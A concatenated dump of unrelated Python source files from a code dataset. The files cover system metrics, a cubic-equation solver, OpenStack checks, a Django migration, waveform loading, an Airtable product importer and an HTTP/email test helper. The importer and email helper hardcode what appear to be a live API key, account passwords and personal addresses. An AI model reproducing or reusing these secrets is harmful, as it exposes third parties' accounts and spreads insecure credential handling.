tree.write(annotation_file)\n","sub_path":"src/processing/relabel_organic.py","file_name":"relabel_organic.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"601391815","text":"# 3rd party\nimport psutil\nimport netifaces\n\ndef memory_virtual():\n memory = {}\n memory['total'] = psutil.virtual_memory().total/1024\n memory['used'] = psutil.virtual_memory().used/1024\n \n return memory\n\ndef memory_swap():\n memory = {}\n memory['total'] = psutil.swap_memory().total/1024\n memory['used'] = psutil.swap_memory().used/1024\n \n return memory\n\ndef cpu_utilization(interval=0.1):\n return psutil.cpu_percent(interval)\n\ndef cpu_cores():\n return psutil.NUM_CPUS\n\ndef disk_partitions():\n partitions = psutil.disk_partitions(all=True)\n \n disks = {}\n disks['physical'] = []\n disks['optical'] = []\n disks['remote'] = []\n \n for partition in partitions:\n disk = {}\n fstype = partition.fstype.lower()\n options = partition.opts.lower()\n \n disk['drive_letter'] = partition.mountpoint.split(':')[0]\n \n if fstype == 'ntfs' and 'fixed' in options:\n # physical disks\n usage = psutil.disk_usage(partition.device)\n \n disk['total'] = usage.total/1024\n disk['used'] = usage.used/1024\n \n disks['physical'].append(disk)\n \n elif fstype == 'ntfs' and 'remote' in options:\n # network drives\n disks['remote'].append(disk)\n \n elif fstype == 'cdfs' and 'cdrom' in options:\n # optical drives\n disks['optical'].append(disk)\n \n return disks\n\ndef network():\n nics = {}\n \n for interface in netifaces.interfaces():\n nics[interface] = {}\n \n addrs = netifaces.ifaddresses(interface)\n \n try:\n nics[interface]['address_ipv4'] = addrs[netifaces.AF_INET][0]['addr']\n nics[interface]['address_ipv6'] = addrs[netifaces.AF_INET6][0]['addr']\n nics[interface]['address_mac'] = addrs[netifaces.AF_LINK][0]['addr']\n except KeyError:\n continue\n \n return nics\n\ndef assemble():\n metrics = {}\n metrics['last_boot_time'] = psutil.get_boot_time()\n metrics['cpu'] = {}\n metrics['cpu']['utilization'] = cpu_utilization()\n metrics['cpu']['cores'] = cpu_cores()\n metrics['memory'] = {}\n metrics['memory']['virtual'] = memory_virtual()\n metrics['memory']['swap'] = memory_swap()\n metrics['disks'] = disk_partitions()\n metrics['network'] = network()\n \n return metrics","sub_path":"windows/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":2425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"36665704","text":"'''\nCUBIC ROOT SOLVER\nDate Created : 24.05.2017\nCreated by : Shril Kumar [(shril.iitdhn@gmail.com),(github.com/shril)] &\n Devojoyti Halder [(devjyoti.itachi@gmail.com),(github.com/devojoyti)]\nProject : Classified\nUse Case : Instead of using standard numpy.roots() method for finding roots,\n we have implemented our own algorithm which is ~10x faster than\n in-built method.\nAlgorithm Link : www.1728.org/cubic2.htm\nThis script (Cubic Equation Solver) is an indipendent program for computation of cubic equations. This script, however, has no\nrelation with original project code or calculations. It is to be also made clear that no knowledge of it's original project\nis included or used to device this script. This script is complete freeware developed by above signed users, and may furthur be\nused or modified for commercial or non - commercial purpose.\n'''\n\n# Libraries imported for fast mathematical computations.\nimport math\nimport numpy as np\nfrom functools import reduce\n\ndef real_root_closest_to_zero(coeff):\n \"\"\"\n Given a list of polynomial coefficients,\n return the real root that is closest to zero\n\n Args:\n coeff: List of polynomial coefficients\n\n Returns:\n root_closest_to_zero: Root that is closest to zero\n\n \"\"\"\n # Calculate all (complex) roots\n # Could use np.roots(coeff)\n # However cube_solver.solve(coeff) is faster and more accurate\n\n roots = solve(coeff)\n # Note, this doesn't work if there are no real roots, e.g. quadratic\n # print(np.array(coeff))\n # print(roots)\n\n # Extract real roots\n # Note cannot use root.imag == 0 since numpy sometimes has a tiny imaginary component for real roots\n # See: https://stackoverflow.com/questions/28081247/print-real-roots-only-in-numpy\n real_roots = (root.real for root in roots if abs(root.imag) < 1e-10)\n\n # Extract the real root that is closest to zero\n root = reduce((lambda x, y: x if (abs(x) < abs(y)) else y), real_roots)\n\n # Change from double to float\n # Otherwise the tensor operations are not consistent\n root = root.astype('float32')\n\n return root\n\n# Main Function takes in the coefficient of the Cubic Polynomial\n# as parameters and it returns the roots in form of numpy array.\n# Polynomial Structure -> ax^3 + bx^2 + cx + d = 0\n\ndef solve(coeff):\n a, b, c, d = coeff\n if (a == 0 and b == 0): # Case for handling Liner Equation\n return np.array([(-d * 1.0) / c]) # Returning linear root as numpy array.\n\n elif (a == 0): # Case for handling Quadratic Equations\n\n D = c * c - 4.0 * b * d # Helper Temporary Variable\n if D >= 0:\n D = math.sqrt(D)\n x1 = (-c + D) / (2.0 * b)\n x2 = (-c - D) / (2.0 * b)\n else:\n D = math.sqrt(-D)\n x1 = (-c + D * 1j) / (2.0 * b)\n x2 = (-c - D * 1j) / (2.0 * b)\n\n return np.array([x1, x2]) # Returning Quadratic Roots as numpy array.\n\n f = findF(a, b, c) # Helper Temporary Variable\n g = findG(a, b, c, d) # Helper Temporary Variable\n h = findH(g, f) # Helper Temporary Variable\n\n if f == 0 and g == 0 and h == 0: # All 3 Roots are Real and Equal\n if (d / a) >= 0:\n x = (d / (1.0 * a)) ** (1 / 3.0) * -1\n else:\n x = (-d / (1.0 * a)) ** (1 / 3.0)\n return np.array([x, x, x]) # Returning Equal Roots as numpy array.\n\n elif h <= 0: # All 3 roots are Real\n\n i = math.sqrt(((g ** 2.0) / 4.0) - h) # Helper Temporary Variable\n j = i ** (1 / 3.0) # Helper Temporary Variable\n k = math.acos(-(g / (2 * i))) # Helper Temporary Variable\n L = j * -1 # Helper Temporary Variable\n M = math.cos(k / 3.0) # Helper Temporary Variable\n N = math.sqrt(3) * math.sin(k / 3.0) # Helper Temporary Variable\n P = (b / (3.0 * a)) * -1 # Helper Temporary Variable\n\n x1 = 2 * j * math.cos(k / 3.0) - (b / (3.0 * a))\n x2 = L * (M + N) + P\n x3 = L * (M - N) + P\n\n return np.array([x1, x2, x3]) # Returning Real Roots as numpy array.\n\n elif h > 0: # One Real Root and two Complex Roots\n R = -(g / 2.0) + math.sqrt(h) # Helper Temporary Variable\n if R >= 0:\n S = R ** (1 / 3.0) # Helper Temporary Variable\n else:\n S = (-R) ** (1 / 3.0) * -1 # Helper Temporary Variable\n T = -(g / 2.0) - math.sqrt(h)\n if T >= 0:\n U = (T ** (1 / 3.0)) # Helper Temporary Variable\n else:\n U = ((-T) ** (1 / 3.0)) * -1 # Helper Temporary Variable\n\n x1 = (S + U) - (b / (3.0 * a))\n x2 = -(S + U) / 2 - (b / (3.0 * a)) + (S - U) * math.sqrt(3) * 0.5j\n x3 = -(S + U) / 2 - (b / (3.0 * a)) - (S - U) * math.sqrt(3) * 0.5j\n\n return np.array([x1, x2, x3]) # Returning One Real Root and two Complex Roots as numpy array.\n\n\n# Helper function to return float value of f.\ndef findF(a, b, c):\n return ((3.0 * c / a) - ((b ** 2.0) / (a ** 2.0))) / 3.0\n\n\n# Helper function to return float value of g.\ndef findG(a, b, c, d):\n return (((2.0 * (b ** 3.0)) / (a ** 3.0)) - ((9.0 * b * c) / (a ** 2.0)) + (27.0 * d / a)) / 27.0\n\n\n# Helper function to return float value of h.\ndef findH(g, f):\n return ((g ** 2.0) / 4.0 + (f ** 3.0) / 27.0)","sub_path":"cube_solver.py","file_name":"cube_solver.py","file_ext":"py","file_size_in_byte":5342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"569707394","text":"#!/usr/bin/python3\nimport re\nimport os\n\nfrom common import (\n constants,\n cli_helpers,\n plugin_yaml,\n)\nfrom openstack_common import (\n OST_PROJECTS,\n OST_SERVICES_DEPS,\n OST_SERVICES_EXPRS,\n OpenstackServiceChecksBase,\n)\n\n# configs that dont use standard /etc//.conf\nOST_ETC_OVERRIDES = {\"glance\": \"glance-api.conf\",\n \"swift\": \"proxy.conf\"}\n\nAPT_SOURCE_PATH = os.path.join(constants.DATA_ROOT, \"etc/apt/sources.list.d\")\nOPENSTACK_INFO = {}\n\n\nclass OpenstackServiceChecks(OpenstackServiceChecksBase):\n def get_running_services_info(self):\n \"\"\"Get string info for running services.\"\"\"\n if self.services:\n OPENSTACK_INFO[\"services\"] = self.get_service_info_str()\n\n def get_release_info(self):\n if not os.path.exists(APT_SOURCE_PATH):\n return\n\n release_info = {}\n for source in os.listdir(APT_SOURCE_PATH):\n apt_path = os.path.join(APT_SOURCE_PATH, source)\n for line in cli_helpers.safe_readlines(apt_path):\n rexpr = r\"deb .+ubuntu-cloud.+ [a-z]+-([a-z]+)/([a-z]+) .+\"\n ret = re.compile(rexpr).match(line)\n if ret:\n if \"uca\" not in release_info:\n release_info[\"uca\"] = set()\n\n if ret[1] != \"updates\":\n release_info[\"uca\"].add(\"{}-{}\".format(ret[2], ret[1]))\n else:\n release_info[\"uca\"].add(ret[2])\n\n if release_info:\n if release_info.get(\"uca\"):\n OPENSTACK_INFO[\"release\"] = sorted(release_info[\"uca\"],\n reverse=True)[0]\n else:\n OPENSTACK_INFO[\"release\"] = \"distro\"\n\n def get_debug_log_info(self):\n debug_enabled = {}\n for proj in OST_PROJECTS:\n path = OST_ETC_OVERRIDES.get(proj)\n if path is None:\n path = os.path.join(constants.DATA_ROOT,\n \"etc\", proj, \"{}.conf\".format(proj))\n\n if os.path.exists(path):\n for line in cli_helpers.safe_readlines(path):\n ret = re.compile(r\"^debug\\s*=\\s*([A-Za-z]+).*\").match(line)\n if ret:\n debug_enabled[proj] = cli_helpers.bool_str(ret[1])\n\n if debug_enabled:\n OPENSTACK_INFO[\"debug-logging-enabled\"] = debug_enabled\n\n def __call__(self):\n super().__call__()\n self.get_release_info()\n self.get_running_services_info()\n self.get_debug_log_info()\n\n\ndef get_openstack_service_checker():\n # Do this way to make it easier to write unit tests.\n OPENSTACK_SERVICES_EXPRS = OST_SERVICES_EXPRS + OST_SERVICES_DEPS\n return OpenstackServiceChecks(OPENSTACK_SERVICES_EXPRS, hint_range=(0, 3))\n\n\nif __name__ == \"__main__\":\n get_openstack_service_checker()()\n if OPENSTACK_INFO:\n plugin_yaml.save_part(OPENSTACK_INFO, priority=0)\n","sub_path":"plugins/openstack/parts/openstack_services.py","file_name":"openstack_services.py","file_ext":"py","file_size_in_byte":3010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"456599739","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\ndef fix_stream_slug(apps, schema_editor):\n \"\"\"Populate empty stream slugs with title\"\"\"\n Stream = apps.get_model(\"stream\", \"Stream\")\n\n streams = Stream.objects.filter(slug=None)\n\n for stream in streams:\n stream.slug = stream.title\n stream.save()\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('stream', '0012_auto_20150104_1752'),\n ]\n\n operations = [\n migrations.RunPython(fix_stream_slug),\n ]\n","sub_path":"kii/stream/migrations/0013_auto_20150107_1621.py","file_name":"0013_auto_20150107_1621.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"337434793","text":"from pylard.pylardata.opdataplottable import OpDataPlottable\nimport pylard.pylardata.pedestal as ped\nimport pylard.pylardata.cosmicdisc as cd\nimport numpy as np\nimport pandas as pd\nfrom root_numpy import root2array, root2rec, tree2rec, array2root\nimport ROOT\nfrom ROOT import larlite\nimport time\n\nNCHAN = 48\nNSPERTICK = 15.625 # ns\nUSPERTICK = 15.625/1000. # ns\nNSPERFRAME = 1600000.0 # 1.6 ms in ns\n\nclass OpDetWfData( OpDataPlottable ):\n\n def __init__(self,producer='pmtreadout'):\n super(OpDetWfData, self).__init__()\n\n # get the producer name\n self.producer = producer\n \n # wf and pedestal holder\n self.opdetdigits = {}\n self.pedestals = {} \n\n # cosmics window holder\n self.cosmics = cd.CosmicDiscVector()\n\n # event location\n self.first_event = 0\n self.event_range = [ self.first_event, self.first_event+100 ]\n self.entry_points = {}\n self.entry_points[ self.first_event ] = 0\n self.maxevent = None\n self.samplesPerFrame = 25600\n self.nspertick = 15.625\n\n # event time-range\n self.event_time_range = [+4800., -1600] # usec\n\n # trigger time\n self.trigger_time = None\n \n # number of samples in entire waveform\n self.nsamples = self.samplesPerFrame*4\n # number of samples in beam-gate window\n self.beam_samples = 1000\n # number of PMT channels to use\n self.n_pmts = 32\n # fill pedestals w/ baseline\n self.resetChannels()\n\n # -----------------------------\n # define producer name\n def setProducer(self, producer):\n self.producer = producer\n\n # -----------------------------\n # reset waveforms\n def resetChannels(self):\n \n for pmt in xrange(self.n_pmts):\n self.opdetdigits[pmt] = {}\n self.pedestals[pmt] = 2048.\n return\n\n # ----------------------------------\n # get the data for the current event\n # return the dictionary of waveforms\n def getData( self, remake=False ):\n\n if remake==True:\n self.resetChannels()\n return self.opdetdigits\n\n # ---------------------------\n # get the pedestal vector\n def getPedestal(self):\n return self.pedestals\n\n def getSampleLength(self):\n return self.nsamples\n\n # ----------------------------\n # load the data for this event\n def getEvent( self, mgr, trig_time=None):\n\n self.trigger_time = trig_time\n\n # reset channels\n self.resetChannels()\n\n # load optical waveforms\n self.opdata = mgr.get_data(larlite.data.kOpDetWaveform,self.producer)\n\n # prepare the wf data\n self.fillWaveforms()\n\n return True\n\n def determineWaveformLengths( self ):\n df = self.wf_df['adcs'].apply( len )\n self.wf_df['nsamples'] = pd.Series( df, index=self.wf_df.index )\n\n def convertToFrameSample( self, timestamp, trig_timestamp ):\n return int( (timestamp-trig_timestamp)*1000.0/NSPERTICK ) # timestamps in microseconds of course\n \n \n # ------------------------\n # function to fill wf info\n def fillWaveforms( self ):\n\n # loop through all waveforms and add them to the wf dictionary\n # self.opdata contains the larlite::ev_opdetwaveform object\n for n in xrange(self.opdata.size()):\n \n wf = self.opdata.at(n)\n\n pmt = wf.ChannelNumber()\n\n adcs = []\n for i in xrange(wf.size()):\n adcs.append(wf.at(i))\n adcs = np.array(adcs)\n \n # only use first 48 pmts\n if ( pmt >= self.n_pmts ):\n continue\n\n # add the PMT wf to the dictionary of channels\n time = wf.TimeStamp() # in usec\n if (self.trigger_time == None):\n time -= 1600.\n else:\n time -= self.trigger_time\n\n # sub-select time-region here\n #if ( (time < -800) or (time > 800) ):\n # continue\n\n # keep finding event time-boundaries\n if (time+len(adcs)*USPERTICK > self.event_time_range[1]):\n self.event_time_range[1] = time+len(adcs)*USPERTICK\n if (time < self.event_time_range[0]):\n self.event_time_range[0] = time\n\n time_tick = int(time*1000/NSPERTICK)\n #print 'wf time is : ',time\n self.opdetdigits[pmt][time] = adcs\n\n return\n\n\n","sub_path":"pylard/larlite_interface/opdetwf.py","file_name":"opdetwf.py","file_ext":"py","file_size_in_byte":4514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"614198809","text":"def select_source(filename, text):\n from six import string_types, text_type\n if filename:\n cm = open(filename)\n elif isinstance(text, string_types):\n from io import StringIO\n cm = StringIO(text_type(text))\n else:\n from contextlib import nullcontext\n cm = nullcontext(text)\n return cm\n","sub_path":"yanother/cm/select_source.py","file_name":"select_source.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"376093384","text":"from django.core.management.base import BaseCommand, CommandError\nimport requests\nfrom pprint import pprint\nimport json\nimport os\n\napi_key = 'keyESJMR4uxh9Rpqz'\nproduct_table = 'appC7p38pnmKYOJ16'\nCATEGORIES_MAPPING = {'Kitchen': 'Q2F0ZWdvcnk6MTA='}\nPRODUCT_TYPE_MAPPING = {}\nCOLLECTIONS_MAPPING = {}\n\n\nclass Command(BaseCommand):\n\n def handle(self, *args, **options):\n print('Pull data from airtable...')\n\n response = requests.get(\n 'https://api.airtable.com/v0/appC7p38pnmKYOJ16/Products?maxRecords=1000&view=Grid%20view',\n headers={'Authorization': 'Bearer ' + api_key}\n )\n\n product_rows = response.json().get('records')\n\n json = self.get_permission_token()\n if len(json['data']['tokenCreate']['errors']) is not 0:\n print('Abort importing, authentication failed')\n return\n print('New token created: {} for import user: {} \\n\\n'.format(json['data']['tokenCreate']['token'], json['data']['tokenCreate']['user']['email']))\n headers = {\n 'Authorization': 'JWT {}'.format(json['data']['tokenCreate']['token'])\n }\n\n # pprint(product_rows)\n for pr in product_rows:\n # pprint(pr.get('fields'))\n fields = pr.get('fields', None)\n\n if not fields or fields.get('dev_stop'):\n print('Stop dev point')\n return\n\n if not fields or fields.get('has_been_imported') or fields.get('product_id_pk'):\n # Skip import if has_been_imported or product_is_pk is truthy\n print('No fields or row has already been imported: sku={}, name={}'.format(fields.get('sku'), fields.get('name')))\n continue\n create_input = self.prepare_input(fields=fields)\n results = self.send_mutation(create_input, headers)\n if not results:\n self.handle_error()\n\n self.update_airtable(pr['id'], results)\n\n\n def prepare_input(self, fields):\n if (fields.get('name') and fields.get('base_price') and fields.get('category_id') and fields.get('description') and fields.get('publication_date') and fields.get('weight')):\n return {\n 'publicationDate': fields.get('publication_date'),\n 'name': fields.get('name'),\n 'chargeTaxes': fields.get('charge_taxes'),\n 'description': fields.get('description'),\n 'isPublished': fields.get('is_published'),\n 'weight': fields.get('weight'),\n 'basePrice': fields.get('base_price'),\n 'sku': fields.get('sku'),\n 'trackInventory': fields.get('track_inventory'),\n 'category': CATEGORIES_MAPPING[fields.get('category_id')],\n 'productType': fields.get('product_type_id'),\n 'collections': ['Q29sbGVjdGlvbjo0' or fields.get('collections_ids_opt')],\n # Import only one image for now\n 'airtableImageUrl': fields.get('images_opt')[0]['url']\n }\n\n return None\n\n\n def get_permission_token(self):\n mutation = '''\n mutation TokenCreateMutation($email: String!, $password: String!) {\n tokenCreate(email: $email, password: $password) {\n token\n errors{\n field\n message\n }\n user{\n id\n email\n }\n }\n }\n '''\n input = {\"email\": \"adrienshen.dev@gmail.com\", \"password\": os.environ.get('SALEOR_PASSWORD')}\n response = requests.post('http://localhost:8000/graphql/', json={'query': mutation, \"variables\": input})\n return response.json()\n\n\n def send_mutation(self, input, headers):\n\n mutation = '''\n mutation ProductCreateMutation($input: ProductCreateInput!) {\n productCreate(input: $input) {\n errors {\n field\n message\n }\n product {\n id\n name\n description\n }\n }\n }\n '''\n\n response = requests.post('http://localhost:8000/graphql/', json={'query': mutation, \"variables\": { \"input\": input }}, headers=headers)\n json = response.json()\n print('Product updated :: ', json['data']['productCreate'])\n if len(json['data']['productCreate']['errors']) is not 0:\n print('Import of {} failed'.format(input['name']))\n return None\n else:\n return json['data']['productCreate']['product']\n\n\n def update_airtable(self, id, updated):\n patch_payload = {\n \"records\": [{\n \"id\": id,\n \"fields\": {\n \"has_been_imported_auto\": True,\n \"product_id_pk_auto\": updated['id']\n }\n }]\n }\n # print('airtable update >> ')\n # pprint(d)\n\n response = requests.patch(\n 'https://api.airtable.com/v0/appC7p38pnmKYOJ16/Products',\n json=patch_payload,\n headers={'Authorization': 'Bearer ' + api_key}\n )\n data = response.json()\n print('Airtable id updated: {} \\n'.format(data['records'][0]['id']))\n\n\n def handle_error():\n pass\n","sub_path":"saleor/imports/management/commands/importairtableproduct.py","file_name":"importairtableproduct.py","file_ext":"py","file_size_in_byte":5504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"403725000","text":"# -*- coding: utf-8 -*-\n\nimport requests,json, jsonpath\nimport os,xlrd,xlwt\nimport requests,inspect\nimport smtplib,email\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom email.mime.image import MIMEImage\nfrom email.mime.audio import MIMEAudio\nfrom email.mime.base import MIMEBase\nimport mimetypes ,base64\nimport readConfig as readConfig\nlocalReadConfig = readConfig.ReadConfig()\nfrom xlutils.copy import copy\nfrom xlrd import open_workbook\n\n\nclass HTTP:\n # 创建一个http接口请求的关键字类\n # 构造函数, 实例化实例变量\n\n def __init__(self):\n\n global scheme, baseurl,port\n scheme = localReadConfig.get_http(\"scheme\")\n baseurl = localReadConfig.get_http(\"baseurl\")\n port = localReadConfig.get_http(\"port\")\n\n # 创建session对象,模拟浏览器的cookie管理\n self.session = requests.session()\n # 存放json解析后的结果\n self.jsonres = {}\n # 用来保存所需要的数据,实现关联\n self.params = {}\n # 全局的url\n self.url = ''\n # 添加默认UA,模拟chrome浏览器\n # self.session.headers['User Agent'] = 'Mozilla/5.0 (Windows NT 10.0; …) Gecko/20100101 Firefox/64.0'\n # 添加默认的请求Content-type\n # self.session.headers['Content-type'] = 'application/x-www-form-urlencoded'\n\n # 设置地址\n def seturl(self,url):\n if url.startswith('http'):\n self.url = url\n return True\n else:\n print('error:url地址不合法')\n return False\n\n # 定义post实例方法,用来发送post请求\n def post(self, interName, param, jsonpath, expected):\n\n '''\n :param interName: /inter/HTTP/login\n :param param: will,1234561212\n :param jsonpath: $.status\n :param expected: 200\n :return:\n '''\n\n # if not path.startswith('http'):\n # path = self.url + '/' + path\n path = scheme + \"://\" + baseurl + \":\" + port + interName\n\n # 获取param参数\n if param == 'None':\n result = self.session.post(path,data=None)\n print(result.text) # {\"status\":200,\"msg\":\"success\",\"token\":\"dbc1b5992a984670b12610fce3614246\"}\n self.jsonres = json.loads(result.text)\n self.session.headers['token'] = self.jsonres['token']\n elif param == '':\n result = self.session.post(path, data=None)\n print(result.text)\n else:\n # 替换参数\n # param = self.__getparams(param)\n # print(param) # username=will&password=123456\n # 参数 转 字典\n param = self.__strTodict(param)\n # 发送请求\n result = self.session.post(path,data=param)\n print(param) # {'username': 'will', 'password': '1234561212'}\n print(result.text) # {\"status\":401,\"msg\":\"用户名密码错误\"}\n\n res = result.text\n\n try:\n res = res[res.find('{'):res.rfind('}')+1]\n except Exception as e:\n print(e.__traceback__)\n\n return res\n\n # 定义断言相等的关键字,用来判断json的key对应的值和期望相等。\n def assertequals(self,jsonpaths,value):\n res = 'None'\n try:\n res = str(jsonpath.jsonpath(self.jsonres, jsonpaths)[0])\n except Exception as e:\n print(e.__traceback__)\n\n value = self.__getparams(value)\n\n if res == str(value):\n return True\n else:\n return False\n\n # 给头添加一个键值对的关键字\n def addheader(self,key,value):\n value = self.__getparams(value)\n self.session.headers[key] = value\n return True\n # 88-93\n #\n # return True\n\n # 定义保存一个json值为参数的关键字\n def savejson(self,key,p):\n res = ''\n try:\n res = self.jsonres[key]\n except Exception as e:\n print(e.__traceback__)\n self.params[p] = res\n return True\n\n # 获取参数里面的值\n def __getparams(self,s):\n for key in self.params:\n s = s.replace('{' + key +'}',self.params[key])\n return s\n\n def __strTodict(self,s):\n\n '''\n 字符型键值队格式 转 字典类型\n :param s: username=will&password=123456\n :return: {'username':'will','password':'123456’}\n '''\n\n httpparam = {}\n param = s.split('&')\n for ss in param:\n p = ss.split('=')\n if len(p)>1:\n httpparam[p[0]] = p[1]\n else:\n httpparam[p[0]] = ''\n return httpparam\n\n\n def getJointParam(self, keys, values):\n\n \"\"\"\n 将两个字符串组合成一组接口参数\n 如:xls.keyValue('username,password', 'will,123456')\n 返回:'username=will&password=123456'\n \"\"\"\n\n interKey = len(str(keys).split(','))\n exlValue = len(str(values).split(','))\n varJoint = ''\n\n try:\n if interKey == exlValue:\n for i in range(interKey):\n varJoint = varJoint + str(keys).split(',')[i] + '=' + str(values).split(',')[i] + '&'\n else:\n assert (interKey == exlValue)\n except Exception as e:\n # print(e.__traceback__)\n print(\"error, 接口的参数与值数量不一致!\")\n\n return varJoint[:-1]\n\n # 3个关于Email函数\n def getAttachment(self, attachmentFilePath):\n contentType, encoding = mimetypes.guess_type(attachmentFilePath)\n if contentType is None or encoding is not None:\n contentType = 'application/octet-stream'\n mainType, subType = contentType.split('/', 1)\n file = open(attachmentFilePath, 'rb')\n if mainType == 'text':\n attachment = MIMEText(file.read())\n elif mainType == 'message':\n attachment = email.message_from_file(file)\n elif mainType == 'image':\n attachment = MIMEImage(file.read(), subType=subType)\n elif mainType == 'audio':\n attachment = MIMEAudio(file.read(), subType=subType)\n else:\n attachment = MIMEBase(mainType, subType)\n attachment.set_payload(file.read())\n # encode_base64(attachment)\n base64.b64encode(attachment.encode('utf-8'))\n\n file.close()\n attachment.add_header('Content-Disposition', 'attachment', filename=os.path.basename(attachmentFilePath))\n return attachment\n def sendemail(self, subject, text, *attachmentFilePaths):\n gmailUser = 'skducn@163.com'\n gmailPassword = 'jinhao123'\n recipient = 'skducn@163.com'\n # recipient = \"'jinhao@mo-win.com.cn', 'guoweiliang@mo-win.com.cn'\"\n msg = MIMEMultipart()\n msg['From'] = gmailUser\n msg['To'] = recipient\n msg['Subject'] = subject\n msg.attach(MIMEText(text, 'plain', 'utf-8'))\n # 附件是可选项\n for attachmentFilePath in attachmentFilePaths:\n if attachmentFilePath != '':\n msg.attach(self.getAttachment(attachmentFilePath))\n mailServer = smtplib.SMTP('smtp.exmail.qq.com', 587)\n mailServer.ehlo()\n mailServer.starttls()\n mailServer.ehlo()\n mailServer.login(gmailUser, gmailPassword)\n mailServer.sendmail(gmailUser, recipient, msg.as_string())\n mailServer.close()\n print('Sent email to %s' % recipient)\n def send1(self):\n\n import smtplib\n from email.mime.text import MIMEText\n from email.header import Header\n\n mail_host = \"smtp.163.com\"\n mail_user = \"skducn@163.com\"\n mail_pass = \"jinhao80\"\n sender = 'skducn@163.com'\n # receivers = ['skducn@163.com', '******@163.com']\n receivers = ['skducn@163.com']\n body_content = \"\"\" 测试文本 \"\"\"\n\n message = MIMEText(body_content, 'plain', 'utf-8')\n message['From'] = \"skducn@163.com\"\n message['To'] = \"skducn@163.com\"\n subject = \"\"\"\n 项目异常测试邮件\n \"\"\"\n message['Subject'] = Header(subject, 'utf-8')\n smtpObj = smtplib.SMTP()\n smtpObj.connect(mail_host, 25)\n smtpObj.set_debuglevel(1)\n smtpObj.login(mail_user, mail_pass)\n smtpObj.sendmail(sender, receivers, message.as_string())\n print(\"邮件发送成功\")\n\n","sub_path":"interFrame1/iDriven.py","file_name":"iDriven.py","file_ext":"py","file_size_in_byte":8472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"534635864","text":"\r\n\"\"\"\r\nCreated on Tue Jul 24 15:46:43 2018\r\n@author: ABittar\r\n\"\"\"\r\n\r\nimport os\r\nimport sys\r\n\r\n#from ehost_functions import load_mentions_with_attributes, convert_file_annotations\r\nfrom collections import Counter\r\nfrom sklearn.metrics import cohen_kappa_score, precision_recall_fscore_support\r\nimport ntpath\r\n\r\nimport xml.etree.ElementTree as ET\r\nimport re\r\n\r\n# specifies the attributes to evaluate\r\nATTRS = set([])\r\nIGNORE_ATTRS = ['start', 'end', 'class', 'annotator', 'comment', 'text']\r\n\r\n\r\ndef create_expression(terms):\r\n expr = '|'.join(t for t in terms)\r\n return '('+expr+')'\r\n\r\n## Time information in sentence ##\r\nmonths = ['january','february','march','april','may','june','july','august','september','october','november','december']\r\nmonths_short = ['jan','feb','mar','apr','may','jun','jul','aug','sep','oct','nov','dec']\r\n\r\ndef normalise_time(text):\r\n text = text.strip()\r\n text = text.lower()\r\n text = text.replace('sept','sep')\r\n text = text.replace('sepember','sep')\r\n timex_type = 'not_converted'\r\n timex = text\r\n p = re.compile('\\d\\d/\\d\\d/(\\d\\d)?\\d\\d')\r\n if(re.search(p,text)):\r\n #print(text, timex)\r\n return text\r\n p = re.compile('\\d\\d/\\d/(\\d\\d)?\\d\\d')\r\n if(re.search(p,text)):\r\n timex_type = 'full_date'\r\n els = text.split('/')\r\n timex = els[0]+'/0'+els[1]+'/'+els[2]\r\n if(len(els[2])==2):\r\n timex = els[0]+'/0'+els[1]+'/20'+els[2] \r\n #print(text, timex)\r\n return text\r\n p = re.compile('\\d/\\d\\d/(\\d\\d)?\\d\\d')\r\n if(re.search(p,text)):\r\n timex_type = 'full_date'\r\n els = text.split('/')\r\n timex = '0'+els[0]+'/'+els[1]+'/'+els[2]\r\n if(len(els[2])==2):\r\n timex = els[0]+'/0'+els[1]+'/20'+els[2] \r\n #print(text, timex)\r\n return text\r\n p = re.compile('\\d/\\d/(\\d\\d)?\\d\\d')\r\n if(re.search(p,text)):\r\n timex_type = 'full_date'\r\n els = text.split('/')\r\n timex = '0'+els[0]+'/0'+els[1]+'/'+els[2]\r\n if(len(els[2])==2):\r\n timex = els[0]+'/0'+els[1]+'/20'+els[2] \r\n #print(text, timex)\r\n return text\r\n p = re.compile(create_expression(months_short)+ \" (\\d\\d\\d\\d)\")\r\n matches = re.findall(p,text)\r\n for m in matches:\r\n timex_type = 'month_short'\r\n m_short = m[0]\r\n text = text.replace(m_short, months[months_short.index(m_short)])\r\n #print(text, timex, timex_type)\r\n return text\r\n\r\n\r\ndef normalise_drug(name):#added JC\r\n name = name.strip()\r\n name = name.lower()\r\n #name = name.split(' ',1)[0]\r\n return name\r\n\r\ndef normalise_cessation(field):#added JC\r\n field = field.strip()\r\n field = field.replace('---','None')\r\n \r\ndef normalise_route(form):#added JC\r\n form = form.strip()\r\n form = form.lower()\r\n form = form.replace('oral tablets','oral')\r\n form = form.replace('oral (liquid)','oral liquid')\r\n form = form.replace('Oral (liquid)','oral liquid')\r\n form = form.replace('oral suspension','oral')\r\n form = form.replace('depot injection','depot')\r\n form = form.replace('nasal spray','inhaled')\r\n form = form.replace('inhaler','inhaled')\r\n form = form.replace('topical application','topical')\r\n form = form.replace('depot','injection')\r\n form = form.replace('IM injection','IM')\r\n\r\ndef normalise_when(when):#added JC\r\n when = when.strip()\r\n when = when.lower()\r\n when = when.replace('eveing','evening')\r\n when = when.replace('at night','night')\r\n when = when.replace('PRN','prn')\r\n \r\ndef normalise_dose_unit(unit):#added JC\r\n unit = unit.strip()\r\n unit = 